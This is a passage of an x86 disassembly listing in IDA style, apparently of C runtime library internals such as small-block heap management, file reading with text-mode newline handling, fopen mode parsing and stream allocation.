		add	esp, 0Ch
		test	edx, edx
		mov	ecx, ebx
		jle	short loc_41EDFE
		lea	eax, [esi+4]
		mov	[ebp+var_4], edx


loc_41EDD4:				; CODE XREF: sub_41EC6E+18Ej
		or	byte ptr [eax+0F4h], 0FFh
		lea	edx, [eax+4]
		mov	[eax-4], edx
		mov	edx, 0F0h
		mov	[eax], edx
		mov	[ecx], edx
		mov	dword ptr [ecx+4], 0F1h
		add	eax, 1000h
		add	ecx, 8
		dec	[ebp+var_4]
		jnz	short loc_41EDD4


loc_41EDFE:				; CODE XREF: sub_41EC6E+15Ej
		mov	off_43C9B0, edi
		lea	eax, [edi+2018h]


loc_41EE0A:				; CODE XREF: sub_41EC6E+1A8j
		cmp	ecx, eax
		jnb	short loc_41EE1A
		cmp	dword ptr [ecx], 0FFFFFFFFh
		jz	short loc_41EE18
		add	ecx, 8
		jmp	short loc_41EE0A
; ---------------------------------------------------------------------------


loc_41EE18:				; CODE XREF: sub_41EC6E+1A3j
		cmp	ecx, eax


loc_41EE1A:				; CODE XREF: sub_41EC6E+19Ej
		sbb	eax, eax
		and	eax, ecx
		mov	[edi+0Ch], eax
		mov	eax, [ebp+arg_0]
		mov	[esi+8], al
		mov	[edi+8], ebx
		sub	[ebx], eax
		sub	[esi+4], eax
		lea	ecx, [esi+eax+8]
		lea	eax, [esi+100h]
		mov	[esi], ecx
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------


loc_41EE3D:				; CODE XREF: sub_41EC6E+F2j
		call	sub_41E976
		test	eax, eax
		jz	short loc_41EE6F
		mov	ecx, [eax+10h]
		mov	[ecx+8], bl
		lea	edx, [ecx+ebx+8]
		mov	off_43C9B0, eax
		mov	[ecx], edx
		mov	edx, 0F0h
		sub	edx, ebx
		mov	[ecx+4], edx
		movzx	edx, bl
		sub	[eax+18h], edx
		lea	eax, [ecx+100h]
		jmp	short loc_41EE71
; ---------------------------------------------------------------------------


loc_41EE6F:				; CODE XREF: sub_41EC6E+143j
					; sub_41EC6E+1D6j
		xor	eax, eax


loc_41EE71:				; CODE XREF: sub_41EC6E+D6j
					; sub_41EC6E+1CDj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EC6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EE76	proc near		; CODE XREF: sub_41EC6E+4Ap
					; sub_41EC6E+99p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+arg_8]
		push	ebx
		push	esi
		mov	esi, [ecx+4]
		push	edi
		mov	edi, [ecx]
		lea	ebx, [ecx+0F8h]
		cmp	esi, edx
		mov	[ebp+var_4], edi
		mov	eax, edi
		mov	[ebp+arg_0], ebx
		jb	short loc_41EEBB
		lea	eax, [edi+edx]
		mov	[edi], dl
		cmp	eax, ebx
		jnb	short loc_41EEAA
		add	[ecx], edx
		sub	[ecx+4], edx
		jmp	short loc_41EEB3
; ---------------------------------------------------------------------------


loc_41EEAA:				; CODE XREF: sub_41EE76+2Bj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41EEB3:				; CODE XREF: sub_41EE76+32j
		lea	eax, [edi+8]
		jmp	loc_41EF89
; ---------------------------------------------------------------------------


loc_41EEBB:				; CODE XREF: sub_41EE76+22j
		add	esi, edi
		cmp	byte ptr [esi],	0
		jz	short loc_41EEC4
		mov	eax, esi


loc_41EEC4:				; CODE XREF: sub_41EE76+4Aj
		lea	esi, [eax+edx]
		cmp	esi, ebx
		jnb	short loc_41EF0E


loc_41EECB:				; CODE XREF: sub_41EE76+96j
		mov	bl, [eax]
		test	bl, bl
		jnz	short loc_41EF01
		push	1
		lea	ebx, [eax+1]
		pop	esi


loc_41EED7:				; CODE XREF: sub_41EE76+68j
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EEE0
		inc	ebx
		inc	esi
		jmp	short loc_41EED7
; ---------------------------------------------------------------------------


loc_41EEE0:				; CODE XREF: sub_41EE76+64j
		cmp	esi, edx
		jnb	short loc_41EF32
		cmp	eax, [ebp+var_4]
		jnz	short loc_41EEEE
		mov	[ecx+4], esi
		jmp	short loc_41EEFA
; ---------------------------------------------------------------------------


loc_41EEEE:				; CODE XREF: sub_41EE76+71j
		sub	[ebp+arg_4], esi
		cmp	[ebp+arg_4], edx
		jb	loc_41EF93


loc_41EEFA:				; CODE XREF: sub_41EE76+76j
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41EF06
; ---------------------------------------------------------------------------


loc_41EF01:				; CODE XREF: sub_41EE76+59j
		movzx	esi, bl
		add	eax, esi


loc_41EF06:				; CODE XREF: sub_41EE76+89j
		lea	esi, [eax+edx]
		cmp	esi, [ebp+arg_0]
		jb	short loc_41EECB


loc_41EF0E:				; CODE XREF: sub_41EE76+53j
		lea	esi, [ecx+8]


loc_41EF11:				; CODE XREF: sub_41EE76+EBj
					; sub_41EE76+F2j
		cmp	esi, edi
		jnb	short loc_41EF93
		lea	eax, [esi+edx]
		cmp	eax, [ebp+arg_0]
		jnb	short loc_41EF93
		mov	al, [esi]
		test	al, al
		jnz	short loc_41EF63
		push	1
		lea	ebx, [esi+1]
		pop	eax


loc_41EF29:				; CODE XREF: sub_41EE76+BAj
		cmp	byte ptr [ebx],	0
		jnz	short loc_41EF53
		inc	ebx
		inc	eax
		jmp	short loc_41EF29
; ---------------------------------------------------------------------------


loc_41EF32:				; CODE XREF: sub_41EE76+6Cj
		lea	ebx, [eax+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF43
		sub	esi, edx
		mov	[ecx], ebx
		mov	[ecx+4], esi
		jmp	short loc_41EF4C
; ---------------------------------------------------------------------------


loc_41EF43:				; CODE XREF: sub_41EE76+C2j
		and	dword ptr [ecx+4], 0
		lea	esi, [ecx+8]
		mov	[ecx], esi


loc_41EF4C:				; CODE XREF: sub_41EE76+CBj
		mov	[eax], dl
		add	eax, 8
		jmp	short loc_41EF89
; ---------------------------------------------------------------------------


loc_41EF53:				; CODE XREF: sub_41EE76+B6j
		cmp	eax, edx
		jnb	short loc_41EF6A
		sub	[ebp+arg_4], eax
		cmp	[ebp+arg_4], edx
		jb	short loc_41EF93
		mov	esi, ebx
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------


loc_41EF63:				; CODE XREF: sub_41EE76+ABj
		movzx	eax, al
		add	esi, eax
		jmp	short loc_41EF11
; ---------------------------------------------------------------------------


loc_41EF6A:				; CODE XREF: sub_41EE76+DFj
		lea	ebx, [esi+edx]
		cmp	ebx, [ebp+arg_0]
		jnb	short loc_41EF7B
		sub	eax, edx
		mov	[ecx], ebx
		mov	[ecx+4], eax
		jmp	short loc_41EF84
; ---------------------------------------------------------------------------


loc_41EF7B:				; CODE XREF: sub_41EE76+FAj
		and	dword ptr [ecx+4], 0
		lea	eax, [ecx+8]
		mov	[ecx], eax


loc_41EF84:				; CODE XREF: sub_41EE76+103j
		mov	[esi], dl
		lea	eax, [esi+8]


loc_41EF89:				; CODE XREF: sub_41EE76+40j
					; sub_41EE76+DBj
		imul	ecx, 0Fh
		shl	eax, 4
		sub	eax, ecx
		jmp	short loc_41EF95
; ---------------------------------------------------------------------------


loc_41EF93:				; CODE XREF: sub_41EE76+7Ej
					; sub_41EE76+9Dj ...
		xor	eax, eax


loc_41EF95:				; CODE XREF: sub_41EE76+11Bj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EE76	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41EF9A	proc near		; CODE XREF: sub_41B202+19Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		movzx	ecx, byte ptr [edx]
		push	edi
		mov	edi, [ebp+arg_0]
		and	[ebp+var_4], 0
		mov	eax, ebx
		sub	eax, [edi+10h]
		sar	eax, 0Ch
		cmp	ecx, [ebp+arg_C]
		lea	edi, [edi+eax*8+18h]
		jbe	short loc_41EFD4
		mov	eax, [ebp+arg_C]
		sub	ecx, eax
		mov	[edx], al
		add	[edi], ecx
		mov	dword ptr [edi+4], 0F1h
		jmp	short loc_41F034
; ---------------------------------------------------------------------------


loc_41EFD4:				; CODE XREF: sub_41EF9A+26j
		jnb	short loc_41F03B
		mov	eax, [ebp+arg_C]
		lea	esi, [edx+eax]
		lea	eax, [ebx+0F8h]
		cmp	eax, esi
		jb	short loc_41F03B
		lea	eax, [ecx+edx]


loc_41EFE9:				; CODE XREF: sub_41EF9A+59j
		cmp	eax, esi
		jnb	short loc_41EFF7
		cmp	byte ptr [eax],	0
		jnz	short loc_41EFF5
		inc	eax
		jmp	short loc_41EFE9
; ---------------------------------------------------------------------------


loc_41EFF5:				; CODE XREF: sub_41EF9A+56j
		cmp	eax, esi


loc_41EFF7:				; CODE XREF: sub_41EF9A+51j
		jnz	short loc_41F03B
		mov	al, byte ptr [ebp+arg_C]
		mov	[edx], al
		mov	eax, [ebx]
		cmp	edx, eax
		ja	short loc_41F02F
		cmp	esi, eax
		jbe	short loc_41F02F
		lea	eax, [ebx+0F8h]
		cmp	esi, eax
		jnb	short loc_41F026
		xor	eax, eax
		mov	[ebx], esi
		cmp	[esi], al
		jnz	short loc_41F021


loc_41F01A:				; CODE XREF: sub_41EF9A+85j
		inc	eax
		cmp	byte ptr [esi+eax], 0
		jz	short loc_41F01A


loc_41F021:				; CODE XREF: sub_41EF9A+7Ej
		mov	[ebx+4], eax
		jmp	short loc_41F02F
; ---------------------------------------------------------------------------


loc_41F026:				; CODE XREF: sub_41EF9A+76j
		and	dword ptr [ebx+4], 0
		lea	eax, [ebx+8]
		mov	[ebx], eax


loc_41F02F:				; CODE XREF: sub_41EF9A+68j
					; sub_41EF9A+6Cj ...
		sub	ecx, [ebp+arg_C]
		add	[edi], ecx


loc_41F034:				; CODE XREF: sub_41EF9A+38j
		mov	[ebp+var_4], 1


loc_41F03B:				; CODE XREF: sub_41EF9A:loc_41EFD4j
					; sub_41EF9A+4Aj ...
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41EF9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F043	proc near		; CODE XREF: sub_41B11A+A9p
					; sub_41BB4F+2Dp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	loc_41F117
		test	al, 40h
		jnz	loc_41F117
		test	al, 2
		jz	short loc_41F069
		or	al, 20h
		mov	[esi+0Ch], eax
		jmp	loc_41F117
; ---------------------------------------------------------------------------


loc_41F069:				; CODE XREF: sub_41F043+1Aj
		or	al, 1
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F07D
		push	esi
		call	sub_4239EF
		pop	ecx
		jmp	short loc_41F082
; ---------------------------------------------------------------------------


loc_41F07D:				; CODE XREF: sub_41F043+2Fj
		mov	eax, [esi+8]
		mov	[esi], eax


loc_41F082:				; CODE XREF: sub_41F043+38j
		push	dword ptr [esi+18h]
		push	dword ptr [esi+8]
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		mov	[esi+4], eax
		test	eax, eax
		jz	short loc_41F106
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41F106
		mov	edx, [esi+0Ch]
		test	dl, 82h
		jnz	short loc_41F0DB
		mov	ecx, [esi+10h]
		push	edi
		cmp	ecx, 0FFFFFFFFh
		jz	short loc_41F0C4
		mov	edi, ecx
		sar	edi, 5
		and	ecx, 1Fh
		mov	edi, dword_4DCC80[edi*4]
		lea	edi, [edi+ecx*8]
		jmp	short loc_41F0C9
; ---------------------------------------------------------------------------


loc_41F0C4:				; CODE XREF: sub_41F043+6Bj
		mov	edi, offset dword_43D010


loc_41F0C9:				; CODE XREF: sub_41F043+7Fj
		mov	cl, [edi+4]
		pop	edi
		and	cl, 82h
		cmp	cl, 82h
		jnz	short loc_41F0DB
		or	dh, 20h
		mov	[esi+0Ch], edx


loc_41F0DB:				; CODE XREF: sub_41F043+62j
					; sub_41F043+90j
		cmp	dword ptr [esi+18h], 200h
		jnz	short loc_41F0F8
		mov	ecx, [esi+0Ch]
		test	cl, 8
		jz	short loc_41F0F8
		test	ch, 4
		jnz	short loc_41F0F8
		mov	dword ptr [esi+18h], 1000h


loc_41F0F8:				; CODE XREF: sub_41F043+9Fj
					; sub_41F043+A7j ...
		mov	ecx, [esi]
		dec	eax
		mov	[esi+4], eax
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[esi], ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41F106:				; CODE XREF: sub_41F043+55j
					; sub_41F043+5Aj
		neg	eax
		sbb	eax, eax
		and	eax, 10h
		add	eax, 10h
		or	[esi+0Ch], eax
		and	dword ptr [esi+4], 0


loc_41F117:				; CODE XREF: sub_41F043+Aj
					; sub_41F043+12j ...
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_41F043	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F11C	proc near		; CODE XREF: sub_41B11A+90p
					; sub_41F043+48p ...

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		cmp	esi, dword_4DCD80
		jnb	loc_41F2F9
		mov	eax, esi
		and	esi, 1Fh
		sar	eax, 5
		shl	esi, 3
		lea	ebx, ds:4DCC80h[eax*4]
		mov	eax, dword_4DCC80[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41F2F9
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41F1D1
		test	dl, 2
		jnz	short loc_41F1D1
		test	dl, 48h
		jz	short loc_41F191
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41F191
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41F191:				; CODE XREF: sub_41F11C+56j
					; sub_41F11C+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		call	dword_4270E8	; ReadFile
		test	eax, eax
		jnz	short loc_41F1E4
		call	dword_42708C	; RtlGetLastWin32Error
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41F1CC
		mov	dword_4DB938, 9
		mov	dword_4DB93C, ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------


loc_41F1CC:				; CODE XREF: sub_41F11C+99j
		cmp	eax, 6Dh
		jnz	short loc_41F1D8


loc_41F1D1:				; CODE XREF: sub_41F11C+4Cj
					; sub_41F11C+51j
		xor	eax, eax
		jmp	loc_41F30D
; ---------------------------------------------------------------------------


loc_41F1D8:				; CODE XREF: sub_41F11C+B3j
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------


loc_41F1E4:				; CODE XREF: sub_41F11C+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41F2F4
		test	edx, edx
		jz	short loc_41F209
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41F209
		or	al, 4
		jmp	short loc_41F20B
; ---------------------------------------------------------------------------


loc_41F209:				; CODE XREF: sub_41F11C+E2j
					; sub_41F11C+E7j
		and	al, 0FBh


loc_41F20B:				; CODE XREF: sub_41F11C+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41F2EE


loc_41F223:				; CODE XREF: sub_41F11C+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41F2DE
		cmp	al, 0Dh
		jz	short loc_41F23F
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F23F:				; CODE XREF: sub_41F11C+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41F25D
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41F254
		add	[ebp+arg_8], 2
		jmp	short loc_41F2B2
; ---------------------------------------------------------------------------


loc_41F254:				; CODE XREF: sub_41F11C+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F25D:				; CODE XREF: sub_41F11C+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	dword_4270E8	; ReadFile
		test	eax, eax
		jnz	short loc_41F285
		call	dword_42708C	; RtlGetLastWin32Error
		test	eax, eax
		jnz	short loc_41F2CC


loc_41F285:				; CODE XREF: sub_41F11C+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41F2CC
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41F2A7
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41F2B2
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F2A7:				; CODE XREF: sub_41F11C+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41F2B7
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41F2B7


loc_41F2B2:				; CODE XREF: sub_41F11C+136j
					; sub_41F11C+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41F2CF
; ---------------------------------------------------------------------------


loc_41F2B7:				; CODE XREF: sub_41F11C+18Ej
					; sub_41F11C+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_42272B
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41F2D0


loc_41F2CC:				; CODE XREF: sub_41F11C+167j
					; sub_41F11C+16Dj
		mov	byte ptr [edi],	0Dh


loc_41F2CF:				; CODE XREF: sub_41F11C+199j
		inc	edi


loc_41F2D0:				; CODE XREF: sub_41F11C+11Ej
					; sub_41F11C+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41F223
		jmp	short loc_41F2EE
; ---------------------------------------------------------------------------


loc_41F2DE:				; CODE XREF: sub_41F11C+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41F2EE
		or	al, 2
		mov	[esi], al


loc_41F2EE:				; CODE XREF: sub_41F11C+101j
					; sub_41F11C+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41F2F4:				; CODE XREF: sub_41F11C+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41F30D
; ---------------------------------------------------------------------------


loc_41F2F9:				; CODE XREF: sub_41F11C+12j
					; sub_41F11C+39j
		and	dword_4DB93C, 0
		mov	dword_4DB938, 9


loc_41F30A:				; CODE XREF: sub_41F11C+ABj
					; sub_41F11C+C3j
		or	eax, 0FFFFFFFFh


loc_41F30D:				; CODE XREF: sub_41F11C+B7j
					; sub_41F11C+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F11C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F312	proc near		; CODE XREF: sub_41B202+126p
					; sub_41B202+24Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DB9B8
		test	eax, eax
		jz	short loc_41F32A
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41F32A
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41F32A:				; CODE XREF: sub_41F312+7j
					; sub_41F312+12j
		xor	eax, eax
		retn
sub_41F312	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F32D	proc near		; CODE XREF: sub_41B4A2+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4DBB24
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41F366
		cmp	al, 72h
		jz	short loc_41F35F
		cmp	al, 77h
		jnz	loc_41F47A
		mov	ecx, 301h
		jmp	short loc_41F36B
; ---------------------------------------------------------------------------


loc_41F35F:				; CODE XREF: sub_41F32D+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41F36E
; ---------------------------------------------------------------------------


loc_41F366:				; CODE XREF: sub_41F32D+1Dj
		mov	ecx, 109h


loc_41F36B:				; CODE XREF: sub_41F32D+30j
		or	esi, 2


loc_41F36E:				; CODE XREF: sub_41F32D+37j
		push	1
		pop	edx


loc_41F371:				; CODE XREF: sub_41F32D+8Bj
					; sub_41F32D+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41F460
		cmp	edx, ebx
		jz	loc_41F460
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41F3FF
		jz	short loc_41F3EF
		sub	eax, 2Bh
		jz	short loc_41F3D9
		sub	eax, 19h
		jz	short loc_41F3CF
		sub	eax, 0Eh
		jz	short loc_41F3BA
		dec	eax
		jnz	loc_41F451
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3BA:				; CODE XREF: sub_41F32D+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3CF:				; CODE XREF: sub_41F32D+6Aj
		test	cl, 40h
		jnz	short loc_41F451
		or	ecx, 40h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3D9:				; CODE XREF: sub_41F32D+65j
		test	cl, 2
		jnz	short loc_41F451
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3EF:				; CODE XREF: sub_41F32D+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41F451
		or	ecx, eax
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F3FF:				; CODE XREF: sub_41F32D+5Ej
		sub	eax, 62h
		jz	short loc_41F44C
		dec	eax
		jz	short loc_41F435
		sub	eax, 0Bh
		jz	short loc_41F41E
		sub	eax, 6
		jnz	short loc_41F451
		test	ch, 0C0h
		jnz	short loc_41F451
		or	ch, 40h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F41E:				; CODE XREF: sub_41F32D+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F435:				; CODE XREF: sub_41F32D+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F44C:				; CODE XREF: sub_41F32D+D5j
		test	ch, 0C0h
		jz	short loc_41F458


loc_41F451:				; CODE XREF: sub_41F32D+72j
					; sub_41F32D+7Bj ...
		xor	edx, edx
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F458:				; CODE XREF: sub_41F32D+122j
		or	ch, 80h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F460:				; CODE XREF: sub_41F32D+4Aj
					; sub_41F32D+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_423A33
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41F47E


loc_41F47A:				; CODE XREF: sub_41F32D+25j
		xor	eax, eax
		jmp	short loc_41F498
; ---------------------------------------------------------------------------


loc_41F47E:				; CODE XREF: sub_41F32D+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4DBB20
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41F498:				; CODE XREF: sub_41F32D+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F32D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F49D	proc near		; CODE XREF: sub_41B4A2p
		mov	edx, dword_4DCC60
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41F50E
		mov	ebx, dword_4DBC58
		mov	edi, ebx


loc_41F4B9:				; CODE XREF: sub_41F49D+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41F4D4
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41F4CF
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41F4B9
		jmp	short loc_41F50E
; ---------------------------------------------------------------------------


loc_41F4CF:				; CODE XREF: sub_41F49D+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41F4F8
; ---------------------------------------------------------------------------


loc_41F4D4:				; CODE XREF: sub_41F49D+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41B4D5
		pop	ecx
		mov	ecx, dword_4DBC58
		mov	[edi+ecx], eax
		mov	eax, dword_4DBC58
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41F50E
		mov	esi, edi


loc_41F4F8:				; CODE XREF: sub_41F49D+35j
		cmp	esi, ebp
		jz	short loc_41F50E
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41F50E:				; CODE XREF: sub_41F49D+12j
					; sub_41F49D+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F49D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F515	proc near		; CODE XREF: sub_41B6EE+17p
					; sub_41B6EE+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41F533
		mov	ecx, off_43C9B8
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41F585
; ---------------------------------------------------------------------------


loc_41F533:				; CODE XREF: sub_41F515+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_43C9B8
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41F558
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41F561
; ---------------------------------------------------------------------------


loc_41F558:				; CODE XREF: sub_41F515+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_41F561:				; CODE XREF: sub_41F515+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_423CEC
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41F581
		leave
		retn
; ---------------------------------------------------------------------------


loc_41F581:				; CODE XREF: sub_41F515+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_41F585:				; CODE XREF: sub_41F515+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41F515	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F58A	proc near		; CODE XREF: sub_41B886+46p
					; sub_41B980+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41F693
		test	al, 40h
		jnz	loc_41F693
		test	al, 1
		jz	short loc_41F5C2
		and	dword ptr [esi+4], 0
		test	al, 10h
